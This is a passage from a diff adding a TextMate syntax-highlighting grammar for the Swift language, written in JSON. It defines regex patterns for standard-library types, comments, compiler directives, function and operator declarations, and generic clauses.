"comment": "Enum types in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:MirrorDisposition|QuickLookObject)\\b" + } + ] + }, + "builtin-types-builtin-protocol-type": { + "patterns": [ + { + "comment": "Protocols in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:Ra(?:n(?:domAccess(?:Collection|Indexable)|geReplaceable(?:Collection|Indexable))|wRepresentable)|M(?:irrorPath|utable(?:Collection|Indexable))|Bi(?:naryFloatingPoint|twiseOperations|directional(?:Collection|Indexable))|S(?:tr(?:ideable|eamable)|igned(?:Number|Integer)|e(?:tAlgebra|quence))|Hashable|C(?:o(?:llection|mparable)|ustom(?:Reflectable|StringConvertible|DebugStringConvertible|PlaygroundQuickLookable|LeafReflectable)|VarArg)|TextOutputStream|I(?:n(?:teger(?:Arithmetic)?|dexable(?:Base)?)|teratorProtocol)|OptionSet|Un(?:signedInteger|icodeCodec)|E(?:quatable|rror|xpressibleBy(?:BooleanLiteral|String(?:Interpolation|Literal)|NilLiteral|IntegerLiteral|DictionaryLiteral|UnicodeScalarLiteral|ExtendedGraphemeClusterLiteral|FloatLiteral|ArrayLiteral))|FloatingPoint|L(?:osslessStringConvertible|azy(?:SequenceProtocol|CollectionProtocol))|A(?:nyObject|bsoluteValuable))\\b" + }, + { + "comment": "Protocols in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:Ran(?:domAccessIndexType|geReplaceableCollectionType)|GeneratorType|M(?:irror(?:Type|PathType)|utable(?:Sliceable|CollectionType))|B(?:i(?:twiseOperationsType|directionalIndexType)|oolean(?:Type|LiteralConvertible))|S(?:tring(?:InterpolationConvertible|LiteralConvertible)|i(?:nkType|gned(?:NumberType|IntegerType))|e(?:tAlgebraType|quenceType)|liceable)|NilLiteralConvertible|C(?:ollectionType|VarArgType)|Inte(?:rvalType|ger(?:Type|LiteralConvertible|ArithmeticType))|O(?:utputStreamType|ptionSetType)|DictionaryLiteralConvertible|Un(?:signedIntegerType|icode(?:ScalarLiteralConvertible|CodecType))|E(?:rrorType|xten(?:sibleCollectionType|dedGraphemeClusterLiteralConvertible))|F(?:orwardIndexType|loat(?:ingPointType|LiteralConvertible))|A(?:nyCollectionType|rrayLiteralConvertible))\\b" + } + ] + }, + "builtin-types-builtin-struct-type": { + "patterns": [ + { + "comment": "Structs in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:R(?:e(?:peat(?:ed)?|versed(?:RandomAccess(?:Collection|Index)|Collection|Index))|an(?:domAccessSlice|ge(?:Replaceable(?:RandomAccessSlice|BidirectionalSlice|Slice)|Generator)?))|Generator(?:Sequence|OfOne)|M(?:irror|utable(?:Ran(?:domAccessSlice|geReplaceable(?:RandomAccessSlice|BidirectionalSlice|Slice))|BidirectionalSlice|Slice)|anagedBufferPointer)|B(?:idirectionalSlice|ool)|S(?:t(?:aticString|ri(?:ng|deT(?:hrough(?:Generator|Iterator)?|o(?:Generator|Iterator)?)))|et(?:I(?:ndex|terator))?|lice)|HalfOpenInterval|C(?:haracter(?:View)?|o(?:ntiguousArray|untable(?:Range|ClosedRange)|llectionOfOne)|OpaquePointer|losed(?:Range(?:I(?:ndex|terator))?|Interval)|VaListPointer)|I(?:n(?:t(?:16|8|32|64)?|d(?:ices|ex(?:ing(?:Generator|Iterator))?))|terator(?:Sequence|OverOne)?)|Zip2(?:Sequence|Iterator)|O(?:paquePointer|bjectIdentifier)|D(?:ictionary(?:I(?:ndex|terator)|Literal)?|ouble|efault(?:RandomAccessIndices|BidirectionalIndices|Indices))|U(?:n(?:safe(?:RawPointer|Mutable(?:RawPointer|BufferPointer|Pointer)|BufferPointer(?:Generator|Iterator)?|Pointer)|icodeScalar(?:View)?|foldSequence|managed)|TF(?:16(?:View)?|8(?:View)?|32)|Int(?:16|8|32|64)?)|Join(?:Generator|ed(?:Sequence|Iterator))|PermutationGenerator|E(?:numerate(?:Generator|Sequence|d(?:Sequence|Iterator))|mpty(?:Generator|Collection|Iterator))|Fl(?:oat(?:80)?|atten(?:Generator|BidirectionalCollection(?:Index)?|Sequence|Collection(?:Index)?|Iterator))|L(?:egacyChildren|azy(?:RandomAccessCollection|Map(?:RandomAccessCollection|Generator|BidirectionalCollection|Sequence|Collection|Iterator)|BidirectionalCollection|Sequence|Collection|Filter(?:Generator|BidirectionalCollection|Sequence|Collection|I(?:ndex|terator))))|A(?:ny(?:RandomAccessCollection|Generator|BidirectionalCollection|Sequence|Hashable|Collection|I(?:ndex|terator))|utoreleasingUnsafeMutablePointer|rray(?:Slice)?))\\b" + }, + { + "comment": "Structs in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:R(?:everse(?:RandomAccess(?:Collection|Index)|Collection|Index)|awByte)|Map(?:Generator|Sequence|Collection)|S(?:inkOf|etGenerator)|Zip2Generator|DictionaryGenerator|Filter(?:Generator|Sequence|Collection(?:Index)?)|LazyForwardCollection|Any(?:RandomAccessIndex|BidirectionalIndex|Forward(?:Collection|Index)))\\b" + } + ] + }, + "builtin-types-builtin-typealias": { + "patterns": [ + { + "comment": "Typealiases in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:Raw(?:Significand|Exponent|Value)|B(?:ooleanLiteralType|uffer|ase)|S(?:t(?:orage|r(?:i(?:ngLiteralType|de)|eam(?:1|2)))|ubSequence)|NativeBuffer|C(?:hild(?:ren)?|Bool|S(?:hort|ignedChar)|odeUnit|Char(?:16|32)?|Int|Double|Unsigned(?:Short|Char|Int|Long(?:Long)?)|Float|WideChar|Long(?:Long)?)|I(?:n(?:t(?:Max|egerLiteralType)|d(?:ices|ex(?:Distance)?))|terator)|Distance|U(?:n(?:icodeScalar(?:Type|Index|View|LiteralType)|foldFirstSequence)|TF(?:16(?:Index|View)|8Index)|IntMax)|E(?:lement(?:s)?|x(?:tendedGraphemeCluster(?:Type|LiteralType)|ponent))|V(?:oid|alue)|Key|Float(?:32|LiteralType|64)|AnyClass)\\b" + }, + { + "comment": "Typealiases in the standard library in Swift 2 only", + "name": "support.type.swift", + "match": "\\b(?:Generator|PlaygroundQuickLook|UWord|Word)\\b" + } + ] + }, + "code-block": { + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.section.scope.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.scope.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + }, + "comments": { + "patterns": [ + { + "name": "comment.line.number-sign.swift", + "match": "\\A^(#!).*$\\n?", + "captures": { + "1": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.block.documentation.swift", + "begin": "/\\*\\*(?!/)", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "comment.block.documentation.playground.swift", + "begin": "/\\*:", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "comment.block.swift", + "begin": "/\\*", + "end": "\\*/", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.swift" + } + }, + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + { + "name": "invalid.illegal.unexpected-end-of-block-comment.swift", + "match": "\\*/" + }, + { + "begin": "(^[ \\t]+)?(?=//)", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "punctuation.whitespace.comment.leading.swift" + } + }, + "patterns": [ + { + "name": "comment.line.triple-slash.documentation.swift", + "begin": "///", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.line.double-slash.documentation.swift", + "begin": "//:", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + }, + { + "name": "comment.line.double-slash.swift", + "begin": "//", + "end": "$", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.swift" + } + } + } + ] + } + ] + }, + "comments-nested": { + "begin": "/\\*", + "end": "\\*/", + "patterns": [ + { + "include": "#comments-nested" + } + ] + }, + "compiler-control": { + "patterns": [ + { + "contentName": "comment.block.preprocessor.swift", + "begin": "^\\s*(#)(if|elseif)\\s+(false)\\b.*?(?=$|//|/\\*)", + "end": "(?=^\\s*(#(elseif|else|endif)\\b))", + "beginCaptures": { + "0": { + "name": "meta.preprocessor.conditional.swift" + }, + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + }, + "3": { + "name": "constant.language.boolean.swift" + } + } + }, + { + "name": "meta.preprocessor.conditional.swift", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + } + }, + "begin": "^\\s*(#)(if|elseif)\\s+", + "end": "(?=\\s*(?://|/\\*))|$", + "patterns": [ + { + "name": "keyword.operator.logical.swift", + "match": "(&&|\\|\\|)" + }, + { + "name": "constant.language.boolean.swift", + "match": "\\b(true|false)\\b" + }, + { + "match": "\\b(arch)\\s*(\\()\\s*(?:(arm|arm64|powerpc64|powerpc64le|i386|x86_64|s390x)|\\w+)\\s*(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "support.constant.platform.architecture.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "match": "\\b(os)\\s*(\\()\\s*(?:(macOS|OSX|iOS|tvOS|watchOS|visionOS|Android|Linux|FreeBSD|Windows|PS4)|\\w+)\\s*(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "support.constant.platform.os.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "match": "\\b(canImport)\\s*(\\()([\\p{L}_][\\p{L}_\\p{N}\\p{M}]*)(\\))", + "captures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "3": { + "name": "entity.name.type.module.swift" + }, + "4": { + "name": "punctuation.definition.parameters.end.swift" + } + } + }, + { + "begin": "\\b(targetEnvironment)\\s*(\\()", + "end": "(\\))|$", + "beginCaptures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "name": "support.constant.platform.environment.swift", + "match": "\\b(simulator|UIKitForMac)\\b" + } + ] + }, + { + "begin": "\\b(swift|compiler)\\s*(\\()", + "end": "(\\))|$", + "beginCaptures": { + "1": { + "name": "keyword.other.condition.swift" + }, + "2": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "name": "keyword.operator.comparison.swift", + "match": ">=|<" + }, + { + "name": "constant.numeric.swift", + "match": "\\b[0-9]+(?:\\.[0-9]+)*\\b" + } + ] + } + ] + }, + { + "name": "meta.preprocessor.conditional.swift", + "match": "^\\s*(#)(else|endif)(.*?)(?=$|//|/\\*)", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.conditional.swift" + }, + "3": { + "patterns": [ + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + } + } + }, + { + "name": "meta.preprocessor.sourcelocation.swift", + "match": "^\\s*(#)(sourceLocation)((\\()([^)]*)(\\)))(.*?)(?=$|//|/\\*)", + "captures": { + "1": { + "name": "punctuation.definition.preprocessor.swift" + }, + "2": { + "name": "keyword.control.import.preprocessor.sourcelocation.swift" + }, + "4": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "5": { + "patterns": [ + { + "begin": "(file)\\s*(:)\\s*(?=\")", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "support.variable.parameter.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "include": "#literals" + } + ] + }, + { + "match": "(line)\\s*(:)\\s*([0-9]+)", + "captures": { + "1": { + "name": "support.variable.parameter.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + }, + "3": { + "name": "constant.numeric.integer.swift" + } + } + }, + { + "name": "punctuation.separator.parameters.swift", + "match": "," + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + }, + "6": { + "name": "punctuation.definition.parameters.begin.swift" + }, + "7": { + "patterns": [ + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "\\S+" + } + ] + } + } + } + ] + }, + "conditionals": { + "patterns": [ + { + "begin": "(?&|\\^~.])(->)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.function.swift" + } + } + }, + { + "comment": "Swift 3: A & B", + "match": "(?&|\\^~.])(&)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.composition.swift" + } + } + }, + { + "name": "keyword.operator.type.optional.swift", + "match": "[?!]" + }, + { + "name": "keyword.operator.function.variadic-parameter.swift", + "match": "\\.\\.\\." + }, + { + "comment": "Swift 2: protocol", + "name": "keyword.other.type.composition.swift", + "match": "\\bprotocol\\b" + }, + { + "name": "keyword.other.type.metatype.swift", + "match": "(?<=\\.)(?:Protocol|Type)\\b" + }, + { + "include": "#declarations-available-types-tuple-type" + }, + { + "include": "#declarations-available-types-collection-type" + }, + { + "include": "#declarations-generic-argument-clause" + } + ] + }, + "declarations-available-types-collection-type": { + "comment": "array and dictionary types [Value] and [Key: Value]", + "begin": "\\[", + "end": "\\]|(?=[>){}])", + "beginCaptures": { + "0": { + "name": "punctuation.section.collection-type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.collection-type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "begin": ":", + "end": "(?=\\]|[>){}])", + "beginCaptures": { + "0": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.extra-colon-in-dictionary-type.swift", + "match": ":" + }, + { + "include": "#declarations-available-types" + } + ] + } + ] + }, + "declarations-available-types-tuple-type": { + "begin": "\\(", + "end": "\\)|(?=[>\\]{}])", + "beginCaptures": { + "0": { + "name": "punctuation.section.tuple-type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.tuple-type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-extension": { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(extension)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.swift", + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "SE-0143: Conditional Conformances", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-function": { + "name": "meta.definition.function.swift", + "begin": "(?x)\n\\b\n(func)\n\\s+\n(\n (?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\n | (?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n )\n)\n\\s*\n(?=\\(|<)", + "end": "(?<=\\})|$(?# functions in protocol declarations or generated interfaces have no body)", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + }, + { + "name": "meta.definition.function.body.swift", + "begin": "(\\{)", + "end": "(\\})", + "beginCaptures": { + "1": { + "name": "punctuation.section.function.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.section.function.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-function-initializer": { + "name": "meta.definition.function.initializer.swift", + "begin": "(?&|\\^~.])(->)(?![/=\\-+!*%<>&|\\^~.])\\s*", + "end": "(?!\\G)(?=\\{|\\bwhere\\b|;|=)|$", + "beginCaptures": { + "1": { + "name": "keyword.operator.function-result.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-function-subscript": { + "name": "meta.definition.function.subscript.swift", + "begin": "(?|(?=[)\\]{}])", + "beginCaptures": { + "0": { + "name": "punctuation.separator.generic-argument-clause.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.separator.generic-argument-clause.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-generic-parameter-clause": { + "name": "meta.generic-parameter-clause.swift", + "begin": "<", + "end": ">|(?=[^\\w\\d:<>\\s,=&`])(?# characters besides these are never valid in a generic param list -- even if it's not really a valid clause, we should stop trying to parse it if we see one of them.)", + "beginCaptures": { + "0": { + "name": "punctuation.separator.generic-parameter-clause.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.separator.generic-parameter-clause.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "Swift 2: constraints inside the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "name": "keyword.control.loop.swift", + "match": "\\beach\\b" + }, + { + "match": "\\b((?!\\d)\\w[\\w\\d]*)\\b", + "captures": { + "1": { + "name": "variable.language.generic-parameter.swift" + } + } + }, + { + "name": "punctuation.separator.generic-parameters.swift", + "match": "," + }, + { + "name": "meta.generic-parameter-constraint.swift", + "begin": "(:)\\s*", + "end": "(?=[,>]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "1": { + "name": "punctuation.separator.generic-parameter-constraint.swift" + } + }, + "patterns": [ + { + "name": "entity.other.inherited-class.swift", + "begin": "\\G", + "end": "(?=[,>]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#declarations-type-identifier" + }, + { + "include": "#declarations-type-operators" + } + ] + } + ] + } + ] + }, + "declarations-generic-where-clause": { + "name": "meta.generic-where-clause.swift", + "begin": "\\b(where)\\b\\s*", + "end": "(?!\\G)$|(?=[>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.other.generic-constraint-introducer.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-where-clause-requirement-list" + } + ] + }, + "declarations-generic-where-clause-requirement-list": { + "begin": "\\G|,\\s*", + "end": "(?=[,>{};\\n]|//|/\\*)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#constraint" + }, + { + "include": "#declarations-available-types" + }, + { + "name": "meta.generic-where-clause.same-type-requirement.swift", + "begin": "(?&|\\^~.])(==)(?![/=\\-+!*%<>&|\\^~.])", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.operator.generic-constraint.same-type.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "name": "meta.generic-where-clause.conformance-requirement.swift", + "begin": "(?&|\\^~.])(:)(?![/=\\-+!*%<>&|\\^~.])", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "beginCaptures": { + "1": { + "name": "keyword.operator.generic-constraint.conforms-to.swift" + } + }, + "patterns": [ + { + "contentName": "entity.other.inherited-class.swift", + "begin": "\\G\\s*", + "end": "(?=\\s*[,>{};\\n]|//|/\\*)", + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + } + ] + } + ] + }, + "declarations-import": { + "name": "meta.import.swift", + "begin": "(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)", + "captures": { + "1": { + "name": "punctuation.definition.identifier.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "name": "entity.name.type.swift", + "match": "(?x)\n(?<=\\G|\\.)\n\\$[0-9]+" + }, + { + "name": "entity.name.type.swift", + "match": "(?x)\n(?<=\\G|\\.)\n(?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n)\n(?=\\.|;|$|//|/\\*|\\s)", + "captures": { + "1": { + "patterns": [ + { + "name": "invalid.illegal.dot-not-allowed-here.swift", + "match": "\\." + } + ] + } + } + }, + { + "name": "punctuation.separator.import.swift", + "match": "\\." + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "begin": "(?!\\s*(;|$|//|/\\*))", + "end": "(?=\\s*(;|$|//|/\\*))" + } + ] + } + ] + }, + "declarations-inheritance-clause": { + "name": "meta.inheritance-clause.swift", + "begin": "(:)(?=\\s*\\{)|(:)\\s*", + "end": "(?!\\G)$|(?=[={}]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "1": { + "name": "invalid.illegal.empty-inheritance-clause.swift" + }, + "2": { + "name": "punctuation.separator.inheritance-clause.swift" + } + }, + "patterns": [ + { + "begin": "\\bclass\\b", + "end": "(?=[={}]|(?!\\G)\\bwhere\\b)", + "beginCaptures": { + "0": { + "name": "storage.type.class.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-more-types" + } + ] + }, + { + "begin": "\\G", + "end": "(?!\\G)$|(?=[={}]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-inherited-type" + }, + { + "include": "#declarations-inheritance-clause-more-types" + }, + { + "include": "#declarations-type-operators" + } + ] + } + ] + }, + "declarations-inheritance-clause-inherited-type": { + "name": "entity.other.inherited-class.swift", + "begin": "(?=[`\\p{L}_])", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-type-identifier" + } + ] + }, + "declarations-inheritance-clause-more-types": { + "name": "meta.inheritance-list.more-types", + "begin": ",\\s*", + "end": "(?!\\G)(?!//|/\\*)|(?=[,={}]|(?!\\G)\\bwhere\\b)", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause-inherited-type" + }, + { + "include": "#declarations-inheritance-clause-more-types" + }, + { + "include": "#declarations-type-operators" + } + ] + }, + "declarations-macro": { + "name": "meta.definition.macro.swift", + "begin": "(?x)\n\\b\n(macro)\n\\s+\n((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\n\\s*\n(?=\\(|<|=)", + "end": "$|(?=;|//|/\\*|\\}|=)", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + } + ] + }, + "declarations-operator": { + "name": "meta.definition.operator.swift", + "begin": "(?x)\n(?:\n \\b(prefix|infix|postfix)\n \\s+\n)?\n\\b\n(operator)\n\\s+\n(\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | \\. # Invalid dot\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*+\n )\n | ( \\. ( \\g | \\g | \\. )++ ) # Dot operators\n)\n\\s*", + "end": "(;)|$\\n?|(?=//|/\\*)", + "beginCaptures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "storage.type.function.operator.swift" + }, + "3": { + "name": "entity.name.function.operator.swift" + }, + "4": { + "comment": "workaround for https://github.com/microsoft/vscode-textmate/issues/140#issuecomment-1793610346", + "name": "entity.name.function.operator.swift", + "patterns": [ + { + "name": "invalid.illegal.dot-not-allowed-here.swift", + "match": "\\." + } + ] + } + }, + "endCaptures": { + "1": { + "name": "punctuation.terminator.statement.swift" + } + }, + "patterns": [ + { + "include": "#declarations-operator-swift2" + }, + { + "include": "#declarations-operator-swift3" + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "((?!$|;|//|/\\*)\\S)+" + } + ] + }, + "declarations-operator-swift2": { + "begin": "\\G(\\{)", + "end": "(\\})", + "beginCaptures": { + "1": { + "name": "punctuation.definition.operator.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.operator.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "match": "\\b(associativity)\\s+(left|right)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "keyword.other.operator.associativity.swift" + } + } + }, + { + "match": "\\b(precedence)\\s+([0-9]+)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "constant.numeric.integer.swift" + } + } + }, + { + "match": "\\b(assignment)\\b", + "captures": { + "1": { + "name": "storage.modifier.swift" + } + } + } + ] + }, + "declarations-operator-swift3": { + "match": "\\G(:)\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "2": { + "name": "entity.other.inherited-class.swift", + "patterns": [ + { + "include": "#declarations-types-precedencegroup" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + "declarations-parameter-clause": { + "name": "meta.parameter-clause.swift", + "begin": "(\\()", + "end": "(\\))(?:\\s*(async)\\b)?", + "beginCaptures": { + "1": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + 